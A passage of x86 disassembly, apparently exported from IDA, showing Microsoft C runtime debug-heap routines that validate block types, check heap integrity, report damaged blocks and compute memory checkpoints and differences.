loc_419E4F: ; CODE XREF: sub_419DC0+E6j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_419EA2
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 1
jz short loc_419EA2
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_419EA2
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_419EA2
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 48Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419EA2
int 3 ; Trap to Debugger
loc_419EA2: ; CODE XREF: sub_419DC0+9Dj
; sub_419DC0+A6j ...
xor edx, edx
test edx, edx
jnz short loc_419E4F
mov eax, [ebp+var_8]
cmp dword ptr [eax+14h], 2
jnz short loc_419EBE
cmp [ebp+arg_4], 1
jnz short loc_419EBE
mov [ebp+arg_4], 2
loc_419EBE: ; CODE XREF: sub_419DC0+EFj
; sub_419DC0+F5j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_419EF9
loc_419EC7: ; CODE XREF: sub_419DC0+137j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_419EF3
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 492h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419EF3
int 3 ; Trap to Debugger
loc_419EF3: ; CODE XREF: sub_419DC0+110j
; sub_419DC0+130j
xor ecx, ecx
test ecx, ecx
jnz short loc_419EC7
loc_419EF9: ; CODE XREF: sub_419DC0+105j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_4], eax
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419DC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4510C8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4510C8, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+8]
push eax
call sub_41A4F0
add esp, 4
test eax, eax
jz short loc_419FCC
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
loc_419F6A: ; CODE XREF: .nsp0:00419FC1j
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_419FBD
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_419FBD
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_419FBD
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jz short loc_419FBD
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4D3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419FBD
int 3 ; Trap to Debugger
loc_419FBD: ; CODE XREF: .nsp0:00419F78j
; .nsp0:00419F81j ...
xor edx, edx
test edx, edx
jnz short loc_419F6A
mov eax, [ebp-4]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_419FCC: ; CODE XREF: .nsp0:00419F5Fj
push 9
call sub_41FBE0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, off_451490
mov [ebp-4], eax
mov ecx, [ebp+8]
mov off_451490, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A000 proc near ; CODE XREF: sub_4199B0+151p
; sub_4199B0+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_41A00E: ; CODE XREF: sub_41A000:loc_41A07Cj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_41A07E
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_41A07C
loc_41A03B: ; CODE XREF: sub_41A000+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41A06F
int 3 ; Trap to Debugger
loc_41A06F: ; CODE XREF: sub_41A000+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41A03B
mov [ebp+var_4], 0
loc_41A07C: ; CODE XREF: sub_41A000+39j
jmp short loc_41A00E
; ---------------------------------------------------------------------------
loc_41A07E: ; CODE XREF: sub_41A000+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A090 proc near ; CODE XREF: sub_418FC0:loc_418FDCp
; sub_4193C0:loc_419422p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_4], 1
mov eax, dword_4510C0
and eax, 1
test eax, eax
jnz short loc_41A0B6
mov eax, 1
jmp loc_41A3E8
; ---------------------------------------------------------------------------
loc_41A0B6: ; CODE XREF: sub_41A090+1Aj
push 9
call sub_41FB40
add esp, 4
call sub_420030
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jz loc_41A1D9
cmp [ebp+var_C], 0FFFFFFFEh
jz loc_41A1D9
mov ecx, [ebp+var_C]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
add edx, 6
mov [ebp+var_18], edx
cmp [ebp+var_18], 3
ja loc_41A1A2
mov eax, [ebp+var_18]
jmp off_41A3EF[eax*4]
loc_41A0FF: ; CODE XREF: sub_41A090+93j
; DATA XREF: .nsp0:0041A3FBo
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A11F
int 3 ; Trap to Debugger
loc_41A11F: ; CODE XREF: sub_41A090+8Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41A0FF
jmp loc_41A1C8
; ---------------------------------------------------------------------------
loc_41A12A: ; CODE XREF: sub_41A090+68j
; sub_41A090+BEj
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A14A
int 3 ; Trap to Debugger
loc_41A14A: ; CODE XREF: sub_41A090+B7j
xor edx, edx
test edx, edx
jnz short loc_41A12A
jmp short loc_41A1C8
; ---------------------------------------------------------------------------
loc_41A152: ; CODE XREF: sub_41A090+68j
; sub_41A090+E6j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A172
int 3 ; Trap to Debugger
loc_41A172: ; CODE XREF: sub_41A090+DFj
xor eax, eax
test eax, eax
jnz short loc_41A152
jmp short loc_41A1C8
; ---------------------------------------------------------------------------
loc_41A17A: ; CODE XREF: sub_41A090+68j
; sub_41A090+10Ej
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A19A
int 3 ; Trap to Debugger
loc_41A19A: ; CODE XREF: sub_41A090+107j
xor ecx, ecx
test ecx, ecx
jnz short loc_41A17A
jmp short loc_41A1C8
; ---------------------------------------------------------------------------
loc_41A1A2: ; CODE XREF: sub_41A090+5Fj
; sub_41A090+136j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A1C2
int 3 ; Trap to Debugger
loc_41A1C2: ; CODE XREF: sub_41A090+12Fj
xor edx, edx
test edx, edx
jnz short loc_41A1A2
loc_41A1C8: ; CODE XREF: sub_41A090+95j
; sub_41A090+C0j ...
push 9
call sub_41FBE0
add esp, 4
xor eax, eax
jmp loc_41A3E8
; ---------------------------------------------------------------------------
loc_41A1D9: ; CODE XREF: sub_41A090+3Cj
; sub_41A090+46j
mov eax, dword_4EF86C
mov [ebp+var_8], eax
jmp short loc_41A1EB
; ---------------------------------------------------------------------------
loc_41A1E3: ; CODE XREF: sub_41A090:loc_41A3D6j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_41A1EB: ; CODE XREF: sub_41A090+151j
cmp [ebp+var_8], 0
jz loc_41A3DB
mov [ebp+var_10], 1
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41A230
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 1
jz short loc_41A230
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41A230
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 3
jnz short loc_41A248
loc_41A230: ; CODE XREF: sub_41A090+17Bj
; sub_41A090+184j ...
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4510D0[ecx*4]
mov [ebp+var_14], edx
jmp short loc_41A24F
; ---------------------------------------------------------------------------
loc_41A248: ; CODE XREF: sub_41A090+19Ej
mov [ebp+var_14], offset aDamaged ; "DAMAGED"
loc_41A24F: ; CODE XREF: sub_41A090+1B6j
push 4
mov al, byte_4510CC
push eax
mov ecx, [ebp+var_8]
add ecx, 1Ch
push ecx
call sub_41A000
add esp, 0Ch
test eax, eax
jnz short loc_41A2A4
loc_41A26A: ; CODE XREF: sub_41A090+20Bj
mov edx, [ebp+var_8]
add edx, 20h
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41A297
int 3 ; Trap to Debugger
loc_41A297: ; CODE XREF: sub_41A090+204j
xor eax, eax
test eax, eax
jnz short loc_41A26A
mov [ebp+var_10], 0
loc_41A2A4: ; CODE XREF: sub_41A090+1D8j
push 4
mov cl, byte_4510CC
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+20h]
push edx
call sub_41A000
add esp, 0Ch
test eax, eax
jnz short loc_41A301
loc_41A2C7: ; CODE XREF: sub_41A090+268j
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_14]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41A2F4
int 3 ; Trap to Debugger
loc_41A2F4: ; CODE XREF: sub_41A090+261j
xor ecx, ecx
test ecx, ecx
jnz short loc_41A2C7
mov [ebp+var_10], 0
loc_41A301: ; CODE XREF: sub_41A090+235j
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 0
jnz short loc_41A35A
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov dl, byte_4510CD
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
call sub_41A000
add esp, 0Ch
test eax, eax
jnz short loc_41A35A
loc_41A32B: ; CODE XREF: sub_41A090+2C1j
mov ecx, [ebp+var_8]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A34D
int 3 ; Trap to Debugger
loc_41A34D: ; CODE XREF: sub_41A090+2BAj
xor edx, edx
test edx, edx
jnz short loc_41A32B
mov [ebp+var_10], 0
loc_41A35A: ; CODE XREF: sub_41A090+278j
; sub_41A090+299j
cmp [ebp+var_10], 0
jnz short loc_41A3D6
mov eax, [ebp+var_8]
cmp dword ptr [eax+8], 0
jz short loc_41A39C
loc_41A369: ; CODE XREF: sub_41A090+30Aj
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41A396
int 3 ; Trap to Debugger
loc_41A396: ; CODE XREF: sub_41A090+303j
xor eax, eax
test eax, eax
jnz short loc_41A369
loc_41A39C: ; CODE XREF: sub_41A090+2D7j
; sub_41A090+33Dj
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_14]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41A3C9
int 3 ; Trap to Debugger
loc_41A3C9: ; CODE XREF: sub_41A090+336j
xor edx, edx
test edx, edx
jnz short loc_41A39C
mov [ebp+var_4], 0
loc_41A3D6: ; CODE XREF: sub_41A090+2CEj
jmp loc_41A1E3
; ---------------------------------------------------------------------------
loc_41A3DB: ; CODE XREF: sub_41A090+15Fj
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
loc_41A3E8: ; CODE XREF: sub_41A090+21j
; sub_41A090+144j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A090 endp
; ---------------------------------------------------------------------------
off_41A3EF dd offset loc_41A17A ; DATA XREF: sub_41A090+68r
dd offset loc_41A152
dd offset loc_41A12A
dd offset loc_41A0FF
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A400 proc near ; CODE XREF: sub_41B600+A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4510C0
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_41A41B
mov ecx, [ebp+arg_0]
mov dword_4510C0, ecx
loc_41A41B: ; CODE XREF: sub_41A400+10j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41A400 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4510C0
and eax, 1
test eax, eax
jnz short loc_41A442
jmp short loc_41A493
; ---------------------------------------------------------------------------
loc_41A442: ; CODE XREF: .nsp0:0041A43Ej
push 9
call sub_41FB40
add esp, 4
mov ecx, dword_4EF86C
mov [ebp-4], ecx
jmp short loc_41A45F
; ---------------------------------------------------------------------------
loc_41A457: ; CODE XREF: .nsp0:loc_41A487j
mov edx, [ebp-4]
mov eax, [edx]
mov [ebp-4], eax
loc_41A45F: ; CODE XREF: .nsp0:0041A455j
cmp dword ptr [ebp-4], 0
jz short loc_41A489
mov ecx, [ebp-4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41A487
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_41A487: ; CODE XREF: .nsp0:0041A474j
jmp short loc_41A457
; ---------------------------------------------------------------------------
loc_41A489: ; CODE XREF: .nsp0:0041A463j
push 9
call sub_41FBE0
add esp, 4
loc_41A493: ; CODE XREF: .nsp0:0041A440j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4A0 proc near ; CODE XREF: sub_41A4F0+19p
; .nsp0:0041A5EAp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_41A4DD
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4F143C ; IsBadReadPtr
test eax, eax
jnz short loc_41A4DD
cmp [ebp+arg_8], 0
jz short loc_41A4D4
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F1438 ; IsBadWritePtr
test eax, eax
jnz short loc_41A4DD
loc_41A4D4: ; CODE XREF: sub_41A4A0+20j
mov [ebp+var_4], 1
jmp short loc_41A4E4
; ---------------------------------------------------------------------------
loc_41A4DD: ; CODE XREF: sub_41A4A0+8j
; sub_41A4A0+1Aj ...
mov [ebp+var_4], 0
loc_41A4E4: ; CODE XREF: sub_41A4A0+3Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41A4A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4F0 proc near ; CODE XREF: sub_4193C0+1AAp
; sub_4199B0+9Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41A4FE
xor eax, eax
jmp short loc_41A572
; ---------------------------------------------------------------------------
loc_41A4FE: ; CODE XREF: sub_41A4F0+8j
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_41A4A0
add esp, 0Ch
test eax, eax
jnz short loc_41A519
xor eax, eax
jmp short loc_41A572
; ---------------------------------------------------------------------------
loc_41A519: ; CODE XREF: sub_41A4F0+23j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_420240
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41A546
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_4202A0
add esp, 8
jmp short loc_41A572
; ---------------------------------------------------------------------------
loc_41A546: ; CODE XREF: sub_41A4F0+3Fj
mov ecx, dword_4EF87C
and ecx, 8000h
test ecx, ecx
jz short loc_41A55D
mov eax, 1
jmp short loc_41A572
; ---------------------------------------------------------------------------
loc_41A55D: ; CODE XREF: sub_41A4F0+64j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1440 ; HeapValidate
loc_41A572: ; CODE XREF: sub_41A4F0+Cj
; sub_41A4F0+27j ...
mov esp, ebp
pop ebp
retn
sub_41A4F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
push eax
call sub_41A4F0
add esp, 4
test eax, eax
jnz short loc_41A59B
xor eax, eax
jmp loc_41A65F
; ---------------------------------------------------------------------------
loc_41A59B: ; CODE XREF: .nsp0:0041A592j
push 9
call sub_41FB40
add esp, 4
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41A5E0
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_41A5E0
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41A5E0
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jnz short loc_41A653
loc_41A5E0: ; CODE XREF: .nsp0:0041A5BCj
; .nsp0:0041A5C5j ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_41A4A0
add esp, 0Ch
test eax, eax
jz short loc_41A653
mov ecx, [ebp-4]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_41A653
mov eax, [ebp-4]
mov ecx, [eax+18h]
cmp ecx, dword_4510C4
jg short loc_41A653
cmp dword ptr [ebp+10h], 0
jz short loc_41A620
mov edx, [ebp+10h]
mov eax, [ebp-4]
mov ecx, [eax+18h]
mov [edx], ecx
loc_41A620: ; CODE XREF: .nsp0:0041A613j
cmp dword ptr [ebp+14h], 0
jz short loc_41A631
mov edx, [ebp+14h]
mov eax, [ebp-4]
mov ecx, [eax+8]
mov [edx], ecx
loc_41A631: ; CODE XREF: .nsp0:0041A624j
cmp dword ptr [ebp+18h], 0
jz short loc_41A642
mov edx, [ebp+18h]
mov eax, [ebp-4]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_41A642: ; CODE XREF: .nsp0:0041A635j
push 9
call sub_41FBE0
add esp, 4
mov eax, 1
jmp short loc_41A65F
; ---------------------------------------------------------------------------
loc_41A653: ; CODE XREF: .nsp0:0041A5DEj
; .nsp0:0041A5F4j ...
push 9
call sub_41FBE0
add esp, 4
xor eax, eax
loc_41A65F: ; CODE XREF: .nsp0:0041A596j
; .nsp0:0041A651j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4F0FB8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4F0FB8, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A690 proc near ; CODE XREF: sub_41AD10+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41A6CA
loc_41A69F: ; CODE XREF: sub_41A690+33j
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A6BF
int 3 ; Trap to Debugger
loc_41A6BF: ; CODE XREF: sub_41A690+2Cj
xor eax, eax
test eax, eax
jnz short loc_41A69F
jmp loc_41A7F3
; ---------------------------------------------------------------------------
loc_41A6CA: ; CODE XREF: sub_41A690+Dj
push 9
call sub_41FB40
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, dword_4EF86C
mov [ecx], edx
mov [ebp+var_4], 0
jmp short loc_41A6F1
; ---------------------------------------------------------------------------
loc_41A6E8: ; CODE XREF: sub_41A690+83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41A6F1: ; CODE XREF: sub_41A690+56j
cmp [ebp+var_4], 5
jge short loc_41A715
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_41A6E8
; ---------------------------------------------------------------------------
loc_41A715: ; CODE XREF: sub_41A690+65j
mov edx, dword_4EF86C
mov [ebp+var_8], edx
jmp short loc_41A728
; ---------------------------------------------------------------------------
loc_41A720: ; CODE XREF: sub_41A690:loc_41A7CCj
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
loc_41A728: ; CODE XREF: sub_41A690+8Ej
cmp [ebp+var_8], 0
jz loc_41A7D1
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_41A7A7
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_41A7A7
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_8]
add edx, [eax+10h]
mov ecx, [ebp+var_8]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_41A7CC
; ---------------------------------------------------------------------------
loc_41A7A7: ; CODE XREF: sub_41A690+AFj
; sub_41A690+C0j ...
mov edx, [ebp+var_8]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A7C6
int 3 ; Trap to Debugger
loc_41A7C6: ; CODE XREF: sub_41A690+133j
xor eax, eax
test eax, eax
jnz short loc_41A7A7
loc_41A7CC: ; CODE XREF: sub_41A690+115j
jmp loc_41A720
; ---------------------------------------------------------------------------
loc_41A7D1: ; CODE XREF: sub_41A690+9Cj
mov ecx, [ebp+arg_0]
mov edx, dword_4EF874
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, dword_4EF868
mov [eax+30h], ecx
push 9
call sub_41FBE0
add esp, 4
loc_41A7F3: ; CODE XREF: sub_41A690+35j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A690 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_41A822
cmp dword ptr [ebp+0Ch], 0
jz short loc_41A822
cmp dword ptr [ebp+10h], 0
jnz short loc_41A850
loc_41A822: ; CODE XREF: .nsp0:0041A814j
; .nsp0:0041A81Aj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A842
int 3 ; Trap to Debugger
loc_41A842: ; CODE XREF: .nsp0:0041A83Fj
xor eax, eax
test eax, eax
jnz short loc_41A822
mov eax, [ebp-8]
jmp loc_41A91C
; ---------------------------------------------------------------------------
loc_41A850: ; CODE XREF: .nsp0:0041A820j
mov dword ptr [ebp-4], 0
jmp short loc_41A862
; ---------------------------------------------------------------------------
loc_41A859: ; CODE XREF: .nsp0:loc_41A8E7j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41A862: ; CODE XREF: .nsp0:0041A857j
cmp dword ptr [ebp-4], 5
jge loc_41A8EC
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_41A8C2
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_41A8E7
loc_41A8C2: ; CODE XREF: .nsp0:0041A8B3j
cmp dword ptr [ebp-4], 0
jz short loc_41A8E7
cmp dword ptr [ebp-4], 2
jnz short loc_41A8E0
cmp dword ptr [ebp-4], 2
jnz short loc_41A8E7
mov eax, dword_4510C0
and eax, 10h
test eax, eax
jz short loc_41A8E7
loc_41A8E0: ; CODE XREF: .nsp0:0041A8CCj
mov dword ptr [ebp-8], 1
loc_41A8E7: ; CODE XREF: .nsp0:0041A8C0j
; .nsp0:0041A8C6j ...
jmp loc_41A859
; ---------------------------------------------------------------------------
loc_41A8EC: ; CODE XREF: .nsp0:0041A866j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_41A91C: ; CODE XREF: .nsp0:0041A84Bj
pop edi
pop esi
